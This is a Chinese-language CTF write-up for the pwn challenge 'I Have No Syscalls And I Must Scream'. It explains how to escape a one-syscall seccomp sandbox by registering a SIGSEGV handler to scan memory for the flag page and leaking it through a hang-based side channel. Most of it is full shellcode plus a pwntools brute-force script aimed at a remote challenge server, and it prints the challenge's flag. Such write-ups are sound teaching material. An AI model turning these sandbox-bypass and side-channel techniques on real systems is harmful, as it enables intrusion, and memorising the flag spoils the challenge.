有人拜托来看看题,那就来看看解最少的 I Have No Syscalls And I Must Scream
(题目名字挺长)
题目逻辑
题目逻辑很简单
flag通过argv被传入程序中,并且strcpy到了一块随机地址的mmap区域上,拷贝成功后清理所有的痕迹
然后就是一个sandbox下的shellcode执行
注意这里唯一的白名单syscall调用号我们是可以自己选的
这里的唯一的一个syscall自然是重中之重,也就是说我们尽量不使用syscall来达成我们找到flag并读取的目的。而显然,输出flag这件事情其实并不一定需要write,通过shellcode实现的侧信道盲注的方法也可以代替SYSCALL_write。
那么也就是说,syscall要被用在找到flag所在的页面上。
User Address Scanning 用户态页面扫描
用户态不像内核态,可以查页表看哪些页面被分配了
但是注意到,signal函数可以捕获SegmentFault段错误,并且注册我们自己的处理函数
那么思路就很简单了,通过sys_rt_sigaction调用注册一个段错误处理函数,不断的递归访问页面,直到找到第一个不会发生段错误的页面,即flag的所在页面
特别要注意,SegmentFault触发时需要保存现场,大量的寄存器和其他数据会被压到栈上。在正常的处理函数流程中,会通过sys_rt_sigreturn(就是srop使用的syscall)来恢复现场。而在本题中我们无法调用sys_rt_sigreturn,因此需要手动恢复一下rsp
(有一说一,该方法作用不大,有点像是为了出题而产生的利用方法)
EXP
from pwn import*
context.log_level='info'
shellcode_raw="""
_start:
mov rdx, 0x690000
mov qword ptr [rdx + 0x800], 0x4200000
register_signal:
mov rdx, 0x690000
mov qword ptr [rdx + 0x400], 0x690051
mov qword ptr [rdx + 0x408], 0x44000004
mov edi, 11
lea rsi, [rdx + 0x400]
xor rdx, rdx
mov r10d, 0x8
mov eax, 13
syscall
xor rax, rax
mov rax, qword ptr [rax]
handler:
mov rsp, qword ptr [rsp + 0xa8]
mov rdx, 0x690000
add qword ptr [rdx + 0x800], 0x1000
mov rax, qword ptr [rdx + 0x800]
mov rax, qword ptr [rax]
jmp success
success:
mov rdi, qword ptr [rdx + 0x800]
call search_no_zero
xor rbx, rbx
xor rdx, rdx
add rax, {}
mov bl, byte ptr [rax]
mov dl, {}
cmp bl, dl
jne exit
je success.unfin_loop
success.unfin_loop:
jmp success.unfin_loop
search_no_zero:
search_no_zero.loop:
xor rax, rax
mov al, byte ptr [rdi]
test al, al
je search_no_zero.loop_add
jne search_no_zero.loop_end
search_no_zero.loop_add:
add rdi, 0x1
jmp search_no_zero.loop
search_no_zero.loop_end:
mov rax, rdi
ret
exit:
mov eax, 231
xor rdi, rdi
syscall
"""
visible_chars = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_"
#flag{the_moral_of_the_story_is_dont_be_mean_to_chatgpt}
flag=""
offset = 0
while True:
for i in range(len(visible_chars)):
success("Trying offset " + str(offset) + " with "+ visible_chars[i])
#r=process(["./ihnsaims","flag{abcasad}"])
r=remote("54.85.45.101",8002)
r.recvuntil("!\n")
r.sendline("13")
shellcode=shellcode_raw.format(offset, ord(visible_chars[i]))
r.recvuntil("!\n")
if (visible_chars[i]=="\x00"):
gdb.attach(r,"""
b *$rebase(0x15fa)
c
b *0x690070
handle SIGSEGV nostop noprint pass
""")
#pause()
r.send(asm(shellcode,arch="amd64"))
r.recvline()
try:
r.recvline(timeout=5)
except EOFError:
r.close()
continue
flag+=visible_chars[i]
success(flag)
break
offset=offset+1